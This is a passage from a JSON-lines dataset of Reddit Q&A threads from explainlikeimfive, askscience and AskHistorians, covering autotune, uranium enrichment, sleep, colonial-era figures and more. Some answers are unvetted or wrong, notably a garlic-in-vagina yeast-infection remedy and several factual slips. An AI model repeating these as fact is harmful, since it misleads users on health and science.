singer sound better than they really are.", "Quick and easy explanation: humans naturally sing a little bit out of tune. Autotune takes a recording of someone's voice and alters the pitch either up or down to make it perfectly in tune. \n\nLonger explanation:\n\n\nImagine a violin. You can put your fingers anywhere along the neck and pluck, and it will play a note. Slide it up or down the neck and the note will be different. One of the reasons violins take great skill to play is that you have to know *exactly* where to put your fingers in order to play the note in tune. If your fingers are a little too high or a little too low on the neck, then the note will be out of tune. \n\nNow imagine a guitar. A guitar has frets on its neck. Frets are small strips of metal that protrude from the neck, and there are usually around 22 of them. These frets are placed at exactly the right intervals in order for perfectly tuned notes to sound. You basically can't play an out of tune note on a guitar (unless you bend or use a slide), and that is because these frets\u2014and not your fingers\u2014are what actually determine the \"length\" of the string and thus the pitch that sounds. \n\nBasically, autotune is a program that puts \"frets\" on your voice. When we sing, we don't sing perfectly tuned notes constantly. Sometimes we're a bit off pitch, and we take time to slide up and down to different notes before we hit the right one. Autotune is used to make sure the notes are dead on. Now, what you may not know is that virtually every vocal recording you hear on the radio will have been autotuned. You probably don't notice it because autotune is usually used subtly; the audio engineer will set the autotune program to gradually bend the vocal note, over the course of say 100 or 200 milliseconds, up or down to the desired note. \n\nHowever, rappers like T-Paine essentially \"abuse\" the autotune program by completely quantizing every single note. That is, they don't have the program gradually change the notes; they set it so that all notes are constantly exactly in tune. This makes it sound unnatural and like a robot because humans are usually slightly out of tune, and they take a moment to slide up or down to the correct notes. \n\nIt does not take a lot of power to run this program. It's usually a plugin for digital audio recording software. It does take a little bit of power, as it usually results in a bit of lag, but it's not particularly intensive. \n\nT-Paine's app is probably not a very accurate representation of how autotune is used in a real recording studio. I imagine that his app is simply set to quantize all notes to a certain major scale. In real life, autotune usually involves manually selecting which pitch each note should be corrected to, and you can manually set various parameters, such as how quickly the note is corrected. ", "I was about to go on a rant about it but this is easier _URL_0_\n", "No-one has said about how much power auto tune uses.\n\nIt is (mostly) run on standard Intel CPUs and, many years ago a 450Mhz PentiumIII processor could process several tracks in real-time.\n\nRelative to the CPU power of a modern computer, it does not use very much CPU power", "If you want to get more technical, sound is represented in a computer in wave forms, pitch being identical to the frequency at which the wave form passes through a given point. The auto tune processor speeds up and slows down that frequency to make it as close to an interval of set sound frequencies as possible. For instance, almost everyone today uses A 440Hz as a starting point, Hz being the measurement for cycles per second. An octave above would be A 880, and all notes in between would be in set intervals. Say someone sings a flat A note that comes in at 870 Hz. The autotuner will speed up the wave form to make it as close to 880 Hz as possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.physics.org/article-questions.asp?id=75"], [], []]}
{"q_id": "8tag77", "title": "why does doubling up two plastic grocery bags make them less likely to break under heavy weight?", "selftext": "And I know it\u2019s not because I spent an extra 25 cents on a second bag...", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8tag77/eli5_why_does_doubling_up_two_plastic_grocery/", "answers": {"a_id": ["e15xkl0", "e15xl1z", "e15ykbt"], "score": [4, 4, 10], "text": ["Your milk jug's weight is spread over the entirety of the bag not just the bottom. Therefore 2 bags, the weight is spread over both. ", "Its because the weight is now distributed between the two bags instead of just the one bag\nSo its like each bag only \u201ccarries\u201d half the weight of whatevers inside", "If the plastic is not able to handle the weight it will stretch. If you stretch the plastic just a little bit then it can still hold roughly the same amount of weight but if you stretch it further it is getting thinner and can not support as much weight as before. But if you have two plastic bags inside each other what happens when the plastic stretches is that the weight gets transfered to the other bag. So you end up with roughly equal weight on both bags which doubles the carrying capacity before the bag breaks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3v9w2v", "title": "so we the uk are now bombing in syria, where does the extra funding come from for this new front on the war on terror?", "selftext": "I saw somewhere that a bomb can cost \u00a3250,000 each", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3v9w2v/eli5_so_we_the_uk_are_now_bombing_in_syria_where/", "answers": {"a_id": ["cxllq89", "cxm9875", "cxmedyu"], "score": [28, 2, 3], "text": ["The funding comes from the budgets that are already set for your military budgets and are gathered by your taxes. This is why you have a military. Why do so many in the UK think this will be some unfunded thing? Do they not teach how taxes and government budgets work in the UK?", "Technically those bombs were already bought. And the fuel for the planes and pay for the pilots already in the peacetime patrol budget. They probably just fudge budgets next quarter to pay for the resupply.\n\nIn the US, our military-industrial monster is always resupplying, because not building bombs and helicopter gunships would put people out of work. War is a very lucrative business, and our busted political engine has no desire to change that. ", "People often struggle to understand government decisions because, for any amount over 10 million, it just sounds like 'a lot' to our brains.\n\nBritain is going to spend 742 billion pounds this year. So, let's compare that to the income of someone in the middle class in Britain who earns 74 thousand pounds a year. \n\nThe equivalency would be that for every pound that normal person spent, the British government could spend 10 million pounds and have it count as equivalent. So if the British government spends a billion bounds bombing ISIS, that's only equivalent to a middle manager having to spend 100 pounds on bombing ISIS. It's an expense, yeah, but a pretty trivial one.\n\nBy contrast, the British Government spends 230 billion pounds on general welfare, or the equivalent to a manager spending 23,000 pounds. It's not really a comparable expense - bombing ISIS is like buying two bottles of Vodka and hosting a small party compared to the price of renting out a decent flat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "14kxzo", "title": "I heard an old saying tonight, and it got me thinking. How much force would it take to suck a golf ball through a garden hose?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14kxzo/i_heard_an_old_saying_tonight_and_it_got_me/", "answers": {"a_id": ["c7e1e0c", "c7e28lp"], "score": [4, 6], "text": ["Under normal atmospheric pressure, this would be impossible.", "I just looked up some numbers and a hose has an interior diameter of 3/4 inch, a golf ball has a diameter of no less than 1.68 inches, and the balls density is .65 ounces per cubic inch (not sure if that matters).\n\nEDIT: I'm also assuming a temp of 70\u00b0F."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "nm4aj", "title": "What are some interesting folk remedies that are actually proven to work?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nm4aj/what_are_some_interesting_folk_remedies_that_are/", "answers": {"a_id": ["c3a63ah", "c3a6j5c", "c3a6mrk", "c3a6u9n", "c3a6yop", "c3a63ah", "c3a6j5c", "c3a6mrk", "c3a6u9n", "c3a6yop"], "score": [15, 15, 13, 3, 4, 15, 15, 13, 3, 4], "text": ["Just saying, this may be a question well-suited for r/askreddit, and you could get some insight on the mechanisms that make remedies work here. \n\n\nI don't have much to offer in terms of an answer so I wish you good luck in this quest for knowledge!", "Chewing on [willow bark](_URL_0_) for headaches.\n\nReally it all comes down to the [economic argument](_URL_1_).  If it hasn't been made into a pharmaceutical medicine yet, it doesn't work (at least not conclusively), it can't get approved for some reason, or it's too recently discovered to be at that stage.", "Folks, this is askscience, please don't post your folk remedy that you swear works. If you don't have some somewhat credible research behind it, it's not 'proven' to work...", "If you have a yeast infection, put garlic ~~bulbs~~ (holy crap!) cloves and/or yogurt in your vagina.  It works, true story.", "**IF YOU'RE WONDERING WHY YOU'RE BEING DOWNVOTED: Listing folk remedies by themselves without solid science/proof/sources (Not anecdotal evidence) do not follow the guidelines of r/AskScience**", "Just saying, this may be a question well-suited for r/askreddit, and you could get some insight on the mechanisms that make remedies work here. \n\n\nI don't have much to offer in terms of an answer so I wish you good luck in this quest for knowledge!", "Chewing on [willow bark](_URL_0_) for headaches.\n\nReally it all comes down to the [economic argument](_URL_1_).  If it hasn't been made into a pharmaceutical medicine yet, it doesn't work (at least not conclusively), it can't get approved for some reason, or it's too recently discovered to be at that stage.", "Folks, this is askscience, please don't post your folk remedy that you swear works. If you don't have some somewhat credible research behind it, it's not 'proven' to work...", "If you have a yeast infection, put garlic ~~bulbs~~ (holy crap!) cloves and/or yogurt in your vagina.  It works, true story.", "**IF YOU'RE WONDERING WHY YOU'RE BEING DOWNVOTED: Listing folk remedies by themselves without solid science/proof/sources (Not anecdotal evidence) do not follow the guidelines of r/AskScience**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Aspirin#History", "http://xkcd.com/808/"], [], [], [], [], ["http://en.wikipedia.org/wiki/Aspirin#History", "http://xkcd.com/808/"], [], [], []]}
{"q_id": "12e88s", "title": "how will cleanup crews in nyc fix things like flooded subways?", "selftext": "I know nothing about Civil Engineering, so I can't even imagine where someone would begin on a project like that.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/12e88s/how_will_cleanup_crews_in_nyc_fix_things_like/", "answers": {"a_id": ["c6ur355", "c6ubhqz", "c6ubibu"], "score": [2, 20, 13], "text": ["Not ELI5 but I got some detailed answers here:\n\n_URL_0_", "The subway has had water pumps since the 1920's, and they regularly pump water out of the system (it's underground and below sea level). However, this is more water then they've ever dealt with so no one is sure how long it will take or what damage was done by the water.", "The subway systems are built with pumps in them that will drain the water. Even on normal (non-hurricane) days, millions of gallons are pumped out of the system. [Here's more information about it](_URL_0_) (although right now it is covered up by the service advisory)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskEngineers/comments/12dwii/what_will_it_take_to_get_the_subways_repaired/"], [], ["http://www.mta.info/capital/servicereliability/infrastructure/pumps.php"]]}
{"q_id": "4bsjvu", "title": "Did Squanto's life experiences make him a unique historical figure?", "selftext": "Squanto's story is incredible to me, and based on my limited historical knowledge he seems to be unique in that he \n\n* made multiple (six!) trans-Atlantic trips, \n\n* was captured by and escaped from three different factions, including Europeans and Native Americans, and \n\n* leveraged his language knowledge to influence political relations between the Wampanoag and the Pilgrims.\n\nSo my question is, is my impression accurate that Squanto is unique in these regards? Also, are there any similar historical figures in the 16th-19th centuries from cultures Europeans were colonizing who could compete with Squanto for exceptional life anecdotes?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4bsjvu/did_squantos_life_experiences_make_him_a_unique/", "answers": {"a_id": ["d1c62vo", "d1cgf91"], "score": [6, 2], "text": ["In terms of six trans-Atlantic trips, that would be quite exceptional, given the deadliness of European diseases among North American Indians. \n\nI can think of two figures in the 18th century who may be similar but surely not as prolific as Squanto. The first would be the Mohawk chief Hendrick (Theyanoguin). He traveled to England in 1740 where met King George II. He was also active in diplomacy with French Canada, New York, and Pennsylvania. He turned on the French during the War of the Austrian Succession (King George's War) and was specifically targeted to be kidnapped by a French war party. He took part in the Albany Congress of 1754 and died fighting with his British allies at Lake George the following year at the start of the French  &  Indian War. Hendrick was well-known and celebrated among the British and was mourned when he died.\n\nAnother figure was an Oswegatchie Iroquois known as \"Charles\" to the French who was active at the French mission of La Pr\u00e9sentation (Oswegatchie). He was a practicing Catholic and worked with Francois Picquet. At some point before 1754 he had traveled across the Atlantic to France where he was received by the royal court. He spoke fluent French and even dressed in the European manner but yet was still able to cross back into the native world. During the French and Indian War he represented his people in conferences with the Governor General of Canada and even disguised himself as a common hunter while working as a spy at British Oswego in 1760.\n\nFor Hendrick, see Eric Hinderaker, The Two Hendricks: Unraveling a Mohawk Mystery (2011)\n\nFor Charles, I pieced together tidbits about him over my dissertation work...Bougainville's wartime memoir, Adventures in the Wilderness contained the most information. Pierre Pouchot's Memoir Upon the Late War also touches on him as well. ", "Tisquantum's life, while amazing, is one of many such strange journeys in the expanding Atlantic world. Sadly, abduction into slavery was a common form of first contact along the Atlantic coast. European fisherman and traders routinely supplemented their cargo by abducting a few unwary captives for sale in the Caribbean, Europe, or North Africa. Captives could be sold for profit, or in the case of many Spanish explorations, an initial foray to a new region involved kidnapping several individuals to train as interpreters. Two such captive translators have vastly different outcomes, and provide some insight into the various ways conquest unfolded.\n\nFor the first example, Pizarro kidnapped two boys from the Peruvian coast in 1528. The young men were taken to Spain, learned Spanish, and accompanied the Conquest of Peru in 1531. They acted as translators during the famous showdown in Cajamarca in 1532 that resulted in Atahuallpa\u2019s capture. The translators were rewarded for their service. Pizarro granted at least one of the two men, Martinillo, a share of the Cajamarca spoils. Martinillo changed his name to Don Mart\u00edn Pizarro, and settled in Lima as the Interpreter General with two encomiendas to his name.\n\nKidnapped Native American translators could also escape their captives, and return to their homeland armed with new languages and valuable insight into European objectives. Don Luis de Velasco, a Native American abducted from the Virginia tidewater region in 1561 returned in 1571 with Franciscans establishing a mission near the James River. Don Luis escaped, and returned with an armed party that killed the Franciscan fathers. We may never know for sure, but there is sufficient reason to believe Don Luis was Opechancanough, brother of paramount chief Powhatan/Wahunsenacawh. Openchancanough would later advise his brother to violently oppose English settlement at Jamestown. His insight led Powhatan/Wahunsenacawh to expand the Powhatan Paramount Chiefdom to better oppose Spanish encroachment in the years preceding the English arrived in Virginia. By the time the Virginia Company arrived to establish Jamestown in 1607 Powhatan incorporated over thirty tributary nations, and held sway over a land known as Tsenacommacah (densely inhabited land).\n\nOn the other side of the coin, shipwrecked or captive Europeans often had amazing experiences within Native American communities. In many cases they became vital translators for both sides when their countrymen returned. In Florida and Central America Spaniards were valued in Native American communities as translators and their ability to provide insight into European aims. As an example, in Florida the de Soto *entrada* encountered Juan Ortiz, a Spaniard captured while searching for the lost 1528 Narv\u00e1ez *entrada*. Ortiz learned the Timucua language during his years in Florida and served as a translator while de Soto rampaged through the region. De Soto said of Ortiz, \u201cThis interpreter puts new life into us, for without him I know not what would become of us.\u201d Interestingly, Ortiz refused wear Spanish dress while traveling with de Soto, and preferred the company of his Mocoso friends, possibly indicating his desire to keep them informed of Spanish intentions. Likewise, the Conquest of Mexico famously required two translators. A shipwrecked Spaniard who lived for eight years among the Maya, Ger\u00f3nimo de Aguilar, translated Spanish to Maya, and Dona Marina/La Malinche, a Nahua noblewoman from the frontier of Nahuatl-speaking central Mexico, then translated Maya to Nahuatl.\n\nThe greatest journey of a shipwrecked Spaniard must be \u00c1lvar N\u00fa\u00f1ez Cabeza de Vaca. One of the few survivors of the unfortunate Narv\u00e1ez *entrada*, Cabeza de Vaca traveled among the Native American nations of the U.S. Southeast, Texas, and Northern Mexico for eight years before re-uniting with his countrymen in Northern Mexico. A [map of his journey provides some perspective](_URL_0_) of the vast distances he covered. Check out [his narrative](_URL_1_) for more insight into his travels. \n\nAs these brief examples show, the early years of contact are filled with amazing stories and individuals with unbelievable journeys. If something specific strikes your interest let me, or one of the other flaired users, know. We can make some recommendations for further reading."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Narv%C3%A1ez_expedition#/media/File:Expedition_Cabeza_de_Vaca_Karte.png", "http://www.goodreads.com/book/show/201406.The_Narrative_of_Cabeza_de_Vaca?from_search=true&amp;search_version=service"]]}
{"q_id": "6wbfn4", "title": "what is a chronon and what evidence is there that it actually exists?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6wbfn4/eli5_what_is_a_chronon_and_what_evidence_is_there/", "answers": {"a_id": ["dm6vmqg", "dm6ypr7"], "score": [59, 134], "text": ["A chronon is a hypothetical sub-atomic particle carrying 'time', but there is no evidence for its actual existence.  The term gets used a lot in TNG-era Star Trek time travel episodes.", " >  What is a chronon\n\nIt is a proposed unit of time that represents the smallest individual unit of time.  There is another proposed unit of time, called the Plank Time, which is another possible theoretically smallest individual unit of time.  (Much like the Plank Distance, which is possible theoretically smallest individual unit of distance.)\n\nBoth units of time are proposed the smallest quantum, they assume time is not continuous but has tiny steps between each instant.\n\nIt is also used in fiction as a particle or blob of time, mostly as a plot device for people moving through time in the story.\n\n >  what evidence is there that it actually exists?\n\nFor the unit of time version, that's like asking what evidence there is that a second exists, or that a minute exists.  It is an extremely short period of time, possibly the shortest discrete unit of time, much like the numbers 1, 2, 3, 4.  If the theories are correct then fractional time between them like 1.02 or 2.412 don't actually exist, they're bumped to the nearest time increment.\n\nFor the fictional particle, they're something writers like to use for plot twists, and they don't actually exist except in the book, movie, or game."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6vjnw2", "title": "how do online sales and business work and what is the mechanism behind?", "selftext": "PayPal? Amazon? Aliexpress? Alibaba? Selling on own website? Third parties that handles both money transactions and deliveries?\n\nMerchant account?\n\nTaxations?\n\nStock keeping? Affiliated marketing?\n\nHow is it done?\n\nAny Regulators?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6vjnw2/eli5_how_do_online_sales_and_business_work_and/", "answers": {"a_id": ["dm0pd18"], "score": [2], "text": ["A web-based merchant (amazon, etc.) operates pretty much identically to a \"traditional\" mail-order outfit (or brick  &  mortar store - just no storefront is necessary).\n\nCredit card processing / taxes / supplychain / regulation (if applicable) / etc. is identical to the \"traditional\" setups."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6o0r71", "title": "Why does enriching uranium from 0.7% to 3.5% take so much longer than enriching it from 3.5% to 90%?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6o0r71/why_does_enriching_uranium_from_07_to_35_take_so/", "answers": {"a_id": ["dke56rh", "dke5cfk", "dkegwzb"], "score": [8, 25, 5], "text": ["Depends what you mean- eg. for those two steps you'll be going from 5:1 feed:product ratio and 25:1.  If you're building a separator plant to go from natural uranium to 90% U-235, you're gonna have to dedicate 80% of your separators to going from .7% to 3.5%.  Even though the second step is a bigger reduction in relative mass, you still have to throw out 5x more U-238 in total mass from the first step.\n\nEven beyond that though, it's easier to enrich to high levels than it is to enrich to low levels, due to entropy.  See [pages 97-98](_URL_0_) of this random google result.  Enrichment takes more and more energy the closer you are to 0% or 100%.  Since .7% to 3.5% is very close to zero, it takes a lot of energy.  3.5% to 90% is farther from 0% and even farther from 100% so it takes less energy to increase the purity by a given amount.\n\n", "You are removing U-238 (non-fissile) from natural uranium to increase the percentage of the fissile U-235.  \n\nImagine a country needed 1 kg of 90% U-235 and their centrifuges were perfectly efficient (only filtered out U-238).  They would need to start with about 129 kg of natural Uranium (0.7% U-235; as 129kg * 0.7% ~ 1 kg * 90%) and would need to filter out about 128 kg of U-238 to get to 1 kg of 90% U-235.  \n\nMeanwhile, if you needed 1 kg of 90% U-235 but started with 3.5% Uranium, you would only need to start out with 25.7 kg of 3.5% U-235 and only filter out 24.7 kg of U-238.\n\nThis isn't a complete proof as the rate of U-238 removal on the centrifuges will obviously depend on concentration, but this just gives the intuition to make it seem more reasonable.", "As others have indicated, uranium enrichment is a process where the more you do, the easier it gets. That is because you are removing huge amounts of U-238 while trying to retain as much U-235. The more U-238 you remove, the less you have to deal with later.\n\nIn the business this is described in terms of separative work. [This graph](_URL_0_) is a nice indication of how this scales over time \u2014 you can see that to get up to few percentage points requires a _massive_ amount of work. But once you get to about 20%, the distance between 20% and 90% is not so much work. (This is why 20% is considered HEU.)\n\nAnother way to think about it: imagine you have 1000 U atoms. 7 of them are U-235, the rest (993) are U-235. To get that up to 3.5%, you need to remove a full 798 of the U-238 atoms, leaving you with just 195 of them (and the original 7 U-235 atoms). To get it up to 20%, you need to remove another 167 atoms of U-238, leaving you with only 28 of them. But to get from 20% to ~90%, you need to remove only 27 of the remaining U-238 atoms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.sipri.org/files/books/SIPRI83Krass/SIPRI83Krass05.pdf"], [], ["http://energyeducation.ca/wiki/images/3/3e/SWU.png"]]}
{"q_id": "3rq10q", "title": "how is water both an acid and a base, and is it ever in a non- aqueous state?", "selftext": "Title :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rq10q/eli5_how_is_water_both_an_acid_and_a_base_and_is/", "answers": {"a_id": ["cwqb25n", "cwqce5v"], "score": [8, 2], "text": ["Water is not both an acid and a base, it is *either* an acid *or* a base, depending on the ion concentrations within the fluid. \n\nAqueous is defined as being in solution in which water is the solvent so the term \"aqueous\" doesn't even really apply. You can, of course, freeze it so that it's not longer a fluid, but that's another thing entirely. ", "Short unhelpful answer, Because we defined it and it's a quirk of physics. \n\nWater is quirky, in that when it break up into it's acid, and base components, those components are the simplest Acid and simplest Base structures we know of. \n\nThe pH system, and water as our baseline, is the result of this process called Auto-ionization. Liquid water will always contain three forms of 'water' H20, H30+ and OH-. \n\nChemically, we can write water reacting with water in a way that explains there being three components, not one. \n\nH2O+ H2O = H3O^+  + OH^-\n\nAn old chemist named Arrhenius was one of the important guys in acids/bases and is famous for that equation. \n\nOther than serrindipity, I can't think of a deeper reason why water is both an acid and a base; but chemically it's just kind of an inherent property of it. \n\nIn terms of your aqueous question, Yes! \n\nAqueous is typically used to say \"dissolved in water.\" However, putting semantics aside, things like hard liquors including Whiskey, Vodka and rubbing alcohol, are liquids which contain more hydrocarbon based chemicals, than they do water. They are therefore in my opinion, a ready example of non-aqueous water.\n\nSince life as we know it is aqueous, and Earth has a lot of water, things that aren't aqueous are usually toxic in some way... so they aren't as common or nice.  \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6lgtm3", "title": "simulated annealing", "selftext": "I have seen this in many other subreddits (r/algorithms, r/compsci, r/programming) but they're all very confusing. Can you explain the ideas behind simulated annealing, what it is, and its uses? Also, what are its uses in tech and such. Thanks.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6lgtm3/eli5_simulated_annealing/", "answers": {"a_id": ["djts0dm"], "score": [5], "text": ["There are a number of problems in computer science were they optimal solution is too hard to find, but it is often possible to find non-optimal solutions that are good enough.  The traveling salesman problem is the classic example.\n\nSimulated annealing is a heuristic that can often find such solutions.  You start by generating a bunch of random solutions, and maybe take the top ten.  Then you introduce a process that tweaks those results and take the ten best of those.  At first, the tweaking is largely random, sometimes making the solution better, sometimes worse.  At each successive iteration, the tweaks becomes more and more biased towards improvement, accepting smaller and smaller steps backwards.  The idea is that if you have a good solution, you typically only want to look at making it better, but sometimes it has to get worse first before you can get to better.  \n\nThe algorithm is analogous to the metallurgical process of annealing, hence the name.  In it a metal is heat, the cooled slowly so larger crystals are formed, making a stronger metal.  When the metal is hot, its atoms are freer to move around, breaking old bonds and forming new ones.  But is it cools, it becomes less likely to break bonds and more likely to just for new ones.  The process of the tweaking becomes less random is analogous to the cooling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "120s6z", "title": "stop signs in mall parking lots. real? fake? enforceable?", "selftext": "Who displays this signage? Is it enforceable? In other words, if I run a stop sign in a grocery store parking lot, will I get a ticket? Can anyone order stop signs on the internet and put them up on their property?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/120s6z/eli5_stop_signs_in_mall_parking_lots_real_fake/", "answers": {"a_id": ["c6r6o0n", "c6r6ooa", "c6r8sdu"], "score": [10, 3, 3], "text": ["[Look on the back](_URL_0_). They are on private property, so you generally don't get a ticket from the actual police. But they are there for a reason and not stopping is both dangerous and dickish, you will still be liable if you didn't stop and hit someone. ", "Traffic signs in parking lots are generally not real traffic signs. Traffic laws are for public roads, a parking lot is a private area. ", "You can't get a traffic ticket, but...\n\nIf you ignore one and get into an accident, you will probably be found responsible.  In extreme circumstance, you could be charged with reckless endangerment."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://i.imgur.com/2Y1Wq.jpg"], [], []]}
{"q_id": "327t9v", "title": "When we have to fight ourselves awake, what are we fighting exactly?", "selftext": "I've just woken myself early after gaining enough conciousness to check the time, as I have things I need to get on with and now my heads a little groggy. \n\nSo what is it we're fighting against thats trying to keep us asleep?\n\nIs it the same thing that makes us feel groggy until we wake up fully?\n\nWhat makes it harder to do when you're more tired?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/327t9v/when_we_have_to_fight_ourselves_awake_what_are_we/", "answers": {"a_id": ["cq8pxcn", "cq8qha9", "cq8s0je", "cq8swjj", "cq8ufig", "cq8wdpn", "cq8y00n", "cq9a7y5", "cq9e9gl", "cq9gigr"], "score": [301, 1797, 70, 28, 11, 3, 8, 2, 2, 4], "text": ["\"Nerve-signaling chemicals called neurotransmitters control whether we are asleep or awake by acting on different groups of nerve cells, or neurons, in the brain. Neurons in the brainstem, which connects the brain with the spinal cord, produce neurotransmitters such as serotonin and norepinephrine that keep some parts of the brain active while we are awake. Other neurons at the base of the brain begin signaling when we fall asleep. These neurons appear to \"switch off\" the signals that keep us awake. Research also suggests that a chemical called adenosine builds up in our blood while we are awake and causes drowsiness. This chemical gradually breaks down while we sleep.\" - _URL_0_\n\nI think 'adenosine' may be what you're looking for. ", "What you're talking about is referred to as [\"sleep inertia\"](_URL_0_). The grogginess and desire to return to sleep can last as long as 30 minutes, depending on several factors- including which stage of sleep you wake up from (waking up during deep sleep is associated with the most sleep inertia.)\n\nAlso caffeine is an adenosine receptor antagonist, meaning it blocks the effects of adenosine, and has been shown to greatly reduce sleep inertia.\n", "It mainly has to do with the regulation of circadian clocks. Apart from adenosine (which accumulates during the day), melatonin is the primary hormone that signals the body to go to sleep. It accumulates when no longer exposed to light, which literally keeps you asleep during the night.\n\nWakefulness is maintained by exposing your eyes to blue light (present in sunlight and even more so in your computer screen) which is detected by a pigment called melanopsin in 2% of retinal cells (intrinsically photosensitive retinal ganglion cells). These cells signal to the suprachiasmatic nucleus (SCN), which in turn is the master regulator of the body's \"clock\". Thus, at night your body is signalled to become asleep by various mechanisms (adenosine, melatonin, blue light absence) as well as others which are largely dependent on oscillatory \"clock genes\"; hormones such as vasopressin and cortisol are strongly controlled by the clock. To wake up, the levels of all these hormones need to be brought back to their \"awake\" levels and it takes time for this to happen after your brain is signalled to do so (blue light received and/or end of the cycle).\n\nSome basics: _URL_1_\n\nReview on clock genes: _URL_0_\n\nTL;DR: blue light keeps your body awake and sets the timer on your inner clock. Yep, you're fighting a clock.\n\nEDIT: grammar.\n", "Lack of adrenaline = heavy sleepness.\n\nNo adenosine = less urge to fall asleep.\n\nAdrenaline agonism (or reuptake inhibiting) = wide awake feeling even if you're tired. \n\nAnything resembling PEA (phenylethylamine) does this. Including Curcumin and amphetamines. \n\nIncreasing dopamine efflux also has an indirect effect on reducing the quality of sleep and may make some people insomniac.\n\nThis explains why even on downers you feel you dont quite get decent sleep if they happen to increase dopamine levels. The only exception being GHB due to its dopamine inhibiting effects.", "Sleep operates on a 'flip flop switch' mechanism, where circuits that promote sleep inhibit those that promote wakefulness, and vice versa.\n\nIn a 2 process model of sleep, sleep inertia can be attributed to neurotransmitters promoting sleep remaining elevated during wakefulness, or your circadian system may be primed to promote sleep and according to your body's clock, you're awake at the wrong time.", "Then being an insomniac myself how is it that I can function on 1-2 hours of sleep and I rarely feel that grogginess of adenosine ? A problem with my receptors not allowing me to feel sleepy ? I would give my left arm for a full 6-7hours of proper sleep :(", "We're not meant to wake up fast.  If you sleep in and allow yourself to wake up slow, pay attention to what you think about during that time.  You're integrating your sleeping mind with your waking mind.  If you wake up fast, you lose whatever your sleeping mind was thinking about.", "I do not know if this has been mentioned already but here is my input. When you sleep your brain switches brain waves and changes neurotransmitter levels, a good example of this is melatonin. Sleep is not a well understood part of Neuroscience in regards to what actually goes on in the brain during sleep. Despite this we know a few things, you have levels of sleep, deep sleep is where you have the most rest and no dreams, whilst dreaming occurs just under conscious levels of brain activity and to make it even more confusing your brain, in some areas, is actually more active than it is when your awake. If, in a very light period of sleep, felt the need to wake up adrenaline would wake up you up quite quickly, a feeling of anxiety about what time it is or if you are over sleeping might be sufficient to release necessary adrenaline. As to what is fighting to keep you asleep I don't think there is anything but that feeling might be attributed to the rest of your brain coming back 'online', getting back to conscious levels of activity. What makes you feel groggy? I would imagine that this would be due to less blood flow to some areas of the brain and hence oxygen and also changes in neurotransmitters again higher melatonin. You also have to remember that during sleep your muscles are paralysed to prevent you acting out your dreams which would contribute to groggyness.", "I used to be able to use my guilt mechanism to wake up.  However, lately my brain takes advantage of my inability to recognize irrational situations in a hypnic state in order to distract me.  Usually, it will make me think that I have some important problem to think about, but it's all just nonsense.", "Related question:  \n\nSometimes I'll suddenly leave my dream and gain \"consciousness\" but I have no control over my body.  I can feel and sense everything around me but I can't move.  This causes a kind of desperate panic as I'm trying my hardest to gain control of my body.  I feel like I'm suffocating and it feels like a life or death struggle.  What's going on here? It's pretty terrifying and it happens frequently.  Especially if I'm over sleeping or taking a nap.\n\nI thought you were going to ask this which is why I clicked and is why I'm asking it now. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ninds.nih.gov/disorders/brain_basics/understanding_sleep.htm"], ["http://en.wikipedia.org/wiki/Sleep_inertia"], ["http://hmg.oxfordjournals.org/content/15/suppl_2/R271.full", "http://users.rcn.com/jkimball.ma.ultranet/BiologyPages/C/Circadian.html"], [], [], [], [], [], [], []]}
{"q_id": "1o1jac", "title": "Were Hessians part of Elizabeth I's militia during Philip II failed amphibious invasion of England?", "selftext": "I know that the militias had foreign mercenaries and was curious if these guys had any involvement. If not, any idea who and what nationality these guys were?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1o1jac/were_hessians_part_of_elizabeth_is_militia_during/", "answers": {"a_id": ["cco0a9g"], "score": [2], "text": ["Hessians entered wide-scale British service only after the Hanoverian dynasty was began.  I'm not sure who exactly *would* have been in the militias other than the English, but large numbers of German mercenaries are very doubtful.\n\nEDIT:  A quick read-through of the raising of local militias in Paul Johnson's *Elizabeth I* gives detailed numbers of local musters, but foreign involvement was apparently too negligible to even merit mention."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
